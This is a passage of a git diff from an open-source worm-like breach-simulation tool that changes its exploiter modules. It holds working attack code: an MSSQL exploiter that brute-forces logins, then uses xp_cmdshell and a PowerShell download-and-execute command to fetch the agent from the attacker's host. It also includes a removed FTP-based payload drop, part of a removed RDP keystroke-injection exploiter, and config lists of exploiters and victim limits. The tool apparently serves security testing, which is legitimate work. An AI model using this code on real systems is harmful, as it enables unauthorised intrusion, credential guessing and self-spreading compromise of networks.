requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 +PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" + +# random number greater than 5, +# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. +TIMEOUT_IN_SECONDS = 15 + class ControlClient(object): proxies = {} @@ -73,7 +79,7 @@ class ControlClient(object): requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies, - timeout=TIMEOUT) + timeout=TIMEOUT_IN_SECONDS) WormConfiguration.current_server = current_server break @@ -117,11 +123,12 @@ class ControlClient(object): return {} @staticmethod - def send_telemetry(telem_type, data): + def send_telemetry(telem_category, data): if not WormConfiguration.current_server: + LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category) return try: - telemetry = {'monkey_guid': GUID, 'telem_type': telem_type, 'data': data} + telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), data=json.dumps(telemetry), headers={'content-type': 'application/json'}, @@ -162,7 +169,8 @@ class ControlClient(object): try: unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) - LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),)) + LOG.info("New configuration was loaded from server: %r" % + (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)) except Exception as exc: # we don't continue with default conf here because it might be dangerous LOG.error("Error parsing JSON reply from control server %s (%s): %s", @@ -303,3 +311,13 @@ class ControlClient(object): target_addr, target_port = None, None return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) + + @staticmethod + def get_pba_file(filename): + try: + return requests.get(PBA_FILE_DOWNLOAD % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + except requests.exceptions.RequestException: + return False diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 02bd649c2..7c576fc30 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -11,9 +11,11 @@ from ctypes import c_char_p import filecmp from infection_monkey.config import WormConfiguration -from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus, UsageEnum if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -51,7 +53,6 @@ class MonkeyDrops(object): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): - if self._config['destination_path'] is None: LOG.error("No destination path specified") return False @@ -157,5 +158,6 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) + T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 7ad23fa7b..84d474db3 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -1,4 +1,5 @@ { + "should_exploit": true, "command_servers": [ "192.0.2.0:5000" ], @@ -24,13 +25,11 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", - monkey_dir_linux = '/tmp/monkey_dir', - monkey_dir_windows = r'C:\Windows\Temp\monkey_dir', - + "monkey_dir_name": "monkey_dir", "kill_file_path_linux": "/var/run/monkey.not", "kill_file_path_windows": "%windir%\\monkey.not", @@ -44,7 +43,8 @@ "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "finger_classes": [ "SSHFinger", @@ -63,7 +63,6 @@ "user_to_add": "Monkey_IUSER_SUPPORT", "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, @@ -98,8 +97,8 @@ ], "timeout_between_iterations": 10, "use_file_logging": true, - "victims_max_exploit": 7, - "victims_max_find": 30, + "victims_max_exploit": 15, + "victims_max_find": 100, "post_breach_actions" : [] custom_PBA_linux_cmd = "" custom_PBA_windows_cmd = "" diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0d4300b5f..ad38f50ce 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,6 +1,7 @@ -from abc import ABCMeta, abstractmethod +from abc import ABCMeta, abstractmethod, abstractproperty import infection_monkey.config from common.utils.exploit_enum import ExploitType +from datetime import datetime __author__ = 'itamar' @@ -13,35 +14,72 @@ class HostExploiter(object): # Usual values are 'vulnerability' or 'brute_force' EXPLOIT_TYPE = ExploitType.VULNERABILITY + @abstractproperty + def _EXPLOITED_SERVICE(self): + pass + def __init__(self, host): self._config = infection_monkey.config.WormConfiguration - self._exploit_info = {} - self._exploit_attempts = [] + self.exploit_info = {'display_name': self._EXPLOITED_SERVICE, + 'started': '', + 'finished': '', + 'vulnerable_urls': [], + 'vulnerable_ports': [], + 'executed_cmds': []} + self.exploit_attempts = [] self.host = host + def set_start_time(self): + self.exploit_info['started'] = datetime.now().isoformat() + + def set_finish_time(self): + self.exploit_info['finished'] = datetime.now().isoformat() + def is_os_supported(self): return self.host.os.get('type') in self._TARGET_OS_TYPE def send_exploit_telemetry(self, result): - from infection_monkey.control import ControlClient - ControlClient.send_telemetry( - 'exploit', - {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, - 'info': self._exploit_info, 'attempts': self._exploit_attempts}) + from infection_monkey.telemetry.exploit_telem import ExploitTelem + ExploitTelem(self, result).send() def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): - self._exploit_attempts.append({'result': result, 'user': user, 'password': password, + self.exploit_attempts.append({'result': result, 'user': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) - @abstractmethod def exploit_host(self): + self.pre_exploit() + result = self._exploit_host() + self.post_exploit() + return result + + def pre_exploit(self): + self.set_start_time() + + def post_exploit(self): + self.set_finish_time() + + @abstractmethod + def _exploit_host(self): raise NotImplementedError() + def add_vuln_url(self, url): + self.exploit_info['vulnerable_urls'].append(url) + + def add_vuln_port(self, port): + self.exploit_info['vulnerable_ports'].append(port) + + def add_executed_cmd(self, cmd): + """ + Appends command to exploiter's info. + :param cmd: String of executed command. e.g. 'echo Example' + """ + powershell = True if "powershell" in cmd.lower() else False + self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.smbexec import SmbExploiter -from infection_monkey.exploit.rdpgrinder import RdpExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.shellshock import ShellShockExploiter from infection_monkey.exploit.sambacry import SambaCryExploiter @@ -50,3 +88,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter +from infection_monkey.exploit.vsftpd import VSFTPDExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index faa6681b4..f1057f2dd 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,9 +8,12 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ +from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ DOWNLOAD_TIMEOUT -from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE +from infection_monkey.network.elasticfinger import ES_PORT +from common.data.network_consts import ES_SERVICE +from infection_monkey.telemetry.attack.t1197_telem import T1197Telem +from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING import re @@ -27,6 +30,7 @@ class ElasticGroovyExploiter(WebRCE): % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Elastic search' def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) @@ -35,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): @@ -58,6 +62,12 @@ class ElasticGroovyExploiter(WebRCE): return False return result[0] + def upload_monkey(self, url, commands=None): + result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands) + if 'windows' in self.host.os['type'] and result: + T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() + return result + def get_results(self, response): """ Extracts the result data from our attack diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 1db521acd..10ddbe589 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -11,7 +11,8 @@ import logging import posixpath from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND __author__ = 'VakarisZ' @@ -21,6 +22,7 @@ LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Hadoop' HADOOP_PORTS = [["8088", False]] # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 @@ -30,7 +32,7 @@ class HadoopExploiter(WebRCE): def __init__(self, host): super(HadoopExploiter, self).__init__(host) - def exploit_host(self): + def _exploit_host(self): # Try to get exploitable url urls = self.build_potential_urls(self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) @@ -48,6 +50,7 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() + self.add_executed_cmd(command) return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 2e8bf6c90..718615114 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,106 +1,170 @@ -import os import logging +import os +import sys +from time import sleep import pymssql -from infection_monkey.exploit import HostExploiter, mssqlexec_utils from common.utils.exploit_enum import ExploitType - -__author__ = 'Maor Rayzin' +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth +from infection_monkey.model import DROPPER_ARG +from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError LOG = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): + _EXPLOITED_SERVICE = 'MSSQL' _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 + # Time in seconds to wait between MSSQL queries. + QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') - DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' + + # Temporary file that saves commands for monkey's download and execution. + TMP_FILE_NAME = 'tmp_monkey.bat' + TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" + + MAX_XP_CMDSHELL_COMMAND_SIZE = 128 + + XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" + XP_CMDSHELL_COMMAND_END = "\"" + EXPLOIT_COMMAND_PREFIX = ">{payload_file_path}" + CREATE_COMMAND_SUFFIX = ">{payload_file_path}" + MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ + "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) - self.attacks_list = [mssqlexec_utils.CmdShellAttack] + self.cursor = None + self.monkey_server = None + self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) - def create_payload_file(self, payload_path): + def _exploit_host(self): """ - This function creates dynamically the payload file to be transported and ran on the exploited machine. - :param payload_path: A path to the create the payload file in - :return: True if the payload file was created and false otherwise. + First this method brute forces to get the mssql connection (cursor). + Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after """ - try: - with open(payload_path, 'w+') as payload_file: - payload_file.write('dir C:\\') - return True - except Exception as e: - LOG.error("Payload file couldn't be created", exc_info=True) - return False - - def exploit_host(self): - """ - Main function of the mssql brute force - Return: - True or False depends on process success - """ + # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \ - else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN + # Create dir for payload + self.create_temp_dir() - if not self.create_payload_file(payload_path): - return False - if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, - payload_path): - LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) - return True - else: - LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) - return False + try: + self.create_empty_payload_file() - def handle_payload(self, cursor, payload): + self.start_monkey_server() + self.upload_monkey() + self.stop_monkey_server() + + # Clear payload to pass in another command + self.create_empty_payload_file() + + self.run_monkey() + + self.remove_temp_dir() + except Exception as e: + raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2] + + return True + + def run_payload_file(self): + file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) + return self.run_mssql_command(file_running_command) + + def create_temp_dir(self): + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) + self.run_mssql_command(dir_creation_command) + + def create_empty_payload_file(self): + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) + tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) + self.run_mssql_command(tmp_file_creation_command) + + def run_mssql_command(self, mssql_command): + array_of_commands = mssql_command.split_into_array_of_smaller_payloads() + if not array_of_commands: + raise Exception("Couldn't execute MSSQL exploiter because payload was too long") + self.run_mssql_commands(array_of_commands) + + def run_monkey(self): + monkey_launch_command = self.get_monkey_launch_command() + self.run_mssql_command(monkey_launch_command) + self.run_payload_file() + + def run_mssql_commands(self, cmds): + for cmd in cmds: + self.cursor.execute(cmd) + sleep(MSSQLExploiter.QUERY_BUFFER) + + def upload_monkey(self): + monkey_download_command = self.write_download_command_to_payload() + self.run_payload_file() + self.add_executed_cmd(monkey_download_command.command) + + def remove_temp_dir(self): + # Remove temporary dir we stored payload at + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path)) + self.run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) + self.run_mssql_command(tmp_dir_removal_command) + + def start_monkey_server(self): + self.monkey_server = MonkeyHTTPServer(self.host) + self.monkey_server.start() + + def stop_monkey_server(self): + self.monkey_server.stop() + + def write_download_command_to_payload(self): + monkey_download_command = self.get_monkey_download_command() + self.run_mssql_command(monkey_download_command) + return monkey_download_command + + def get_monkey_launch_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) + # Form monkey's launch command + monkey_args = build_monkey_commandline(self.host, + get_monkey_depth() - 1, + dst_path) + suffix = ">>{}".format(self.payload_file_path) + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) + + def get_monkey_download_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ + format(http_path=self.monkey_server.http_path, dst_path=dst_path) + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) + return MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) + + def brute_force(self, host, port, users_passwords_pairs_list): """ - Handles the process of payload sending and execution, prepares the attack and details. + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. - Args: - cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. - payload (string): Payload path + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with - Return: - True or False depends on process success + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not """ - - chosen_attack = self.attacks_list[0](payload, cursor, self.host) - - if chosen_attack.send_payload(): - LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) - if chosen_attack.execute_payload(): - LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) - chosen_attack.cleanup_files() - return True - else: - LOG.error("Payload: {0} couldn't be executed".format(payload)) - else: - LOG.error("Payload: {0} couldn't be sent to host".format(payload)) - - chosen_attack.cleanup_files() - return False - - def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): - """ - Starts the brute force connection attempts and if needed then init the payload process. - Main loop starts here. - - Args: - host (str): Host ip address - port (str): Tcp port that the host listens to - payload (str): Local path to the payload - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with - - Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not - """ # Main loop # Iterates on users list for user, password in users_passwords_pairs_list: @@ -108,23 +172,26 @@ class MSSQLExploiter(HostExploiter): # Core steps # Trying to connect conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) - LOG.info('Successfully connected to host: {0}, ' - 'using user: {1}, password: {2}'.format(host, user, password)) + LOG.info( + 'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format( + host, user, self._config.hash_sensitive_data(password))) + self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() - - # Handles the payload and return True or False - if self.handle_payload(cursor, payload): - LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) - return True - else: - LOG.warning("user: {0} and password: {1}, " - "was able to connect to host: {2} but couldn't handle payload: {3}" - .format(user, password, host, payload)) + return cursor except pymssql.OperationalError: + self.report_login_attempt(False, user, password) # Combo didn't work, hopping to the next one pass LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - return False + raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + + +class MSSQLLimitedSizePayload(LimitedSizePayload): + def __init__(self, command, prefix="", suffix=""): + super(MSSQLLimitedSizePayload, self).__init__(command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, + suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py deleted file mode 100644 index 51293dfe3..000000000 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ /dev/null @@ -1,208 +0,0 @@ -import os -import multiprocessing -import logging - -import pymssql - -from infection_monkey.exploit.tools import get_interface_to_target -from pyftpdlib.authorizers import DummyAuthorizer -from pyftpdlib.handlers import FTPHandler -from pyftpdlib.servers import FTPServer -from time import sleep - - -__author__ = 'Maor Rayzin' - - -FTP_SERVER_PORT = 1026 -FTP_SERVER_ADDRESS = '' -FTP_SERVER_USER = 'brute' -FTP_SERVER_PASSWORD = 'force' -FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/') -FTP_WORK_DIR_LINUX = '/tmp/' - -LOG = logging.getLogger(__name__) - - -class FTP(object): - - """Configures and establish an FTP server with default details. - - Args: - user (str): User for FTP server auth - password (str): Password for FTP server auth - working_dir (str): The local working dir to init the ftp server on. - """ - - def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD): - """Look at class level docstring.""" - self.dst_ip = host.ip_addr - self.user = user - self.password = password - self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS - - def run_server(self): - - """ Configures and runs the ftp server to listen forever until stopped. - """ - - # Defining an authorizer and configuring the ftp user - authorizer = DummyAuthorizer() - authorizer.add_user(self.user, self.password, self.working_dir, perm='elr') - - # Normal ftp handler - handler = FTPHandler - handler.authorizer = authorizer - - address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT) - - # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword - self.server = FTPServer(address, handler) - - # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I - # multiproccess is being used here. - self.server.serve_forever() - - def stop_server(self): - # Stops the FTP server and closing all connections. - self.server.close_all() - - -class AttackHost(object): - """ - This class acts as an interface for the attacking methods class - - Args: - payload_path (str): The local path of the payload file - """ - - def __init__(self, payload_path): - self.payload_path = payload_path - - def send_payload(self): - raise NotImplementedError("Send function not implemented") - - def execute_payload(self): - raise NotImplementedError("execute function not implemented") - - -class CmdShellAttack(AttackHost): - - """ - This class uses the xp_cmdshell command execution and will work only if its available on the remote host. - - Args: - payload_path (str): The local path of the payload file - cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. - host (model.host.VictimHost): Host this attack is going to target - - """ - - def __init__(self, payload_path, cursor, host): - super(CmdShellAttack, self).__init__(payload_path) - self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host) - self.cursor = cursor - self.attacker_ip = get_interface_to_target(host.ip_addr) - - def send_payload(self): - """ - Sets up an FTP server and using it to download the payload to the remote host - - Return: - True if payload sent False if not. - """ - - # Sets up the cmds to run - shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ - echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) - shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) - shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ - .format(self.payload_path) - shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ - shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] - - # Checking to see if ftp server is up - if self.ftp_server_p and self.ftp_server: - try: - # Running the cmd on remote host - for cmd in shellcmds: - self.cursor.execute(cmd) - sleep(0.5) - except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) - self.ftp_server_p.terminate() - return False - return True - else: - LOG.error("Couldn't establish an FTP server for the dropout") - return False - - def execute_payload(self): - - """ - Executes the payload after ftp drop - - Return: - True if payload was executed successfully, False if not. - """ - - # Getting the payload's file name - payload_file_name = os.path.split(self.payload_path)[1] - - # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error. - shellcmd = """DECLARE @i INT \ - EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ - SELECT @i """.format(payload_file_name) - - try: - # Executing payload on remote host - LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) - self.cursor.execute(shellcmd) - if self.cursor.fetchall()[0][0] == 0: - # Success - self.ftp_server_p.terminate() - LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) - return True - else: - LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) - self.ftp_server_p.terminate() - return False - - except pymssql.OperationalError as e: - LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) - self.ftp_server_p.terminate() - return False - - def cleanup_files(self): - """ - Cleans up the folder with the attack related files (C:\\tmp by default) - :return: True or False if command executed or not. - """ - cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """ - try: - self.cursor.execute(cleanup_command) - LOG.info('Attack files cleanup command has been sent.') - return True - except Exception as e: - LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) - return False - - def __init_ftp_server(self, host): - """ - Init an FTP server using FTP class on a different process - - Return: - ftp_s: FTP server object - p: the process obj of the FTP object - """ - - try: - ftp_s = FTP(host) - multiprocessing.log_to_stderr(logging.DEBUG) - p = multiprocessing.Process(target=ftp_s.run_server) - p.start() - LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) - return ftp_s, p - except Exception as e: - LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) - return None, None diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py deleted file mode 100644 index dcef9551c..000000000 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ /dev/null @@ -1,341 +0,0 @@ -import os.path -import threading -import time -from logging import getLogger - -import rdpy.core.log as rdpy_log -import twisted.python.log -from rdpy.core.error import RDPSecurityNegoFail -from rdpy.protocol.rdp import rdp -from twisted.internet import reactor - -from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth -from infection_monkey.exploit.tools import get_target_monkey -from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline -from infection_monkey.utils import utf_to_ascii -from common.utils.exploit_enum import ExploitType - -__author__ = 'hoffer' - -KEYS_INTERVAL = 0.1 -MAX_WAIT_FOR_UPDATE = 120 -KEYS_SENDER_SLEEP = 0.01 -DOWNLOAD_TIMEOUT = 60 -RDP_PORT = 3389 -LOG = getLogger(__name__) - - -def twisted_log_func(*message, **kw): - if kw.get('isError'): - error_msg = 'Unknown' - if 'failure' in kw: - error_msg = kw['failure'].getErrorMessage() - LOG.error("Error from twisted library: %s" % (error_msg,)) - else: - LOG.debug("Message from twisted library: %s" % (str(message),)) - - -def rdpy_log_func(message): - LOG.debug("Message from rdpy library: %s" % (message,)) - - -twisted.python.log.msg = twisted_log_func -rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR -rdpy_log.log = rdpy_log_func - -# thread for twisted reactor, create once. -global g_reactor -g_reactor = threading.Thread(target=reactor.run, args=(False,)) - - -class ScanCodeEvent(object): - def __init__(self, code, is_pressed=False, is_special=False): - self.code = code - self.is_pressed = is_pressed - self.is_special = is_special - - -class CharEvent(object): - def __init__(self, char, is_pressed=False): - self.char = char - self.is_pressed = is_pressed - - -class SleepEvent(object): - def __init__(self, interval): - self.interval = interval - - -class WaitUpdateEvent(object): - def __init__(self, updates=1): - self.updates = updates - pass - - -def str_to_keys(orig_str): - result = [] - for c in orig_str: - result.append(CharEvent(c, True)) - result.append(CharEvent(c, False)) - result.append(WaitUpdateEvent()) - return result - - -class KeyPressRDPClient(rdp.RDPClientObserver): - def __init__(self, controller, keys, width, height, addr): - super(KeyPressRDPClient, self).__init__(controller) - self._keys = keys - self._addr = addr - self._update_lock = threading.Lock() - self._wait_update = False - self._keys_thread = threading.Thread(target=self._keysSender) - self._keys_thread.daemon = True - self._width = width - self._height = height - self._last_update = 0 - self.closed = False - self.success = False - self._wait_for_update = None - - def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): - update_time = time.time() - self._update_lock.acquire() - self._last_update = update_time - self._wait_for_update = False - self._update_lock.release() - - def _keysSender(self): - LOG.debug("Starting to send keystrokes") - while True: - - if self.closed: - return - - if len(self._keys) == 0: - reactor.callFromThread(self._controller.close) - LOG.debug("Closing RDP connection to %s:%s", 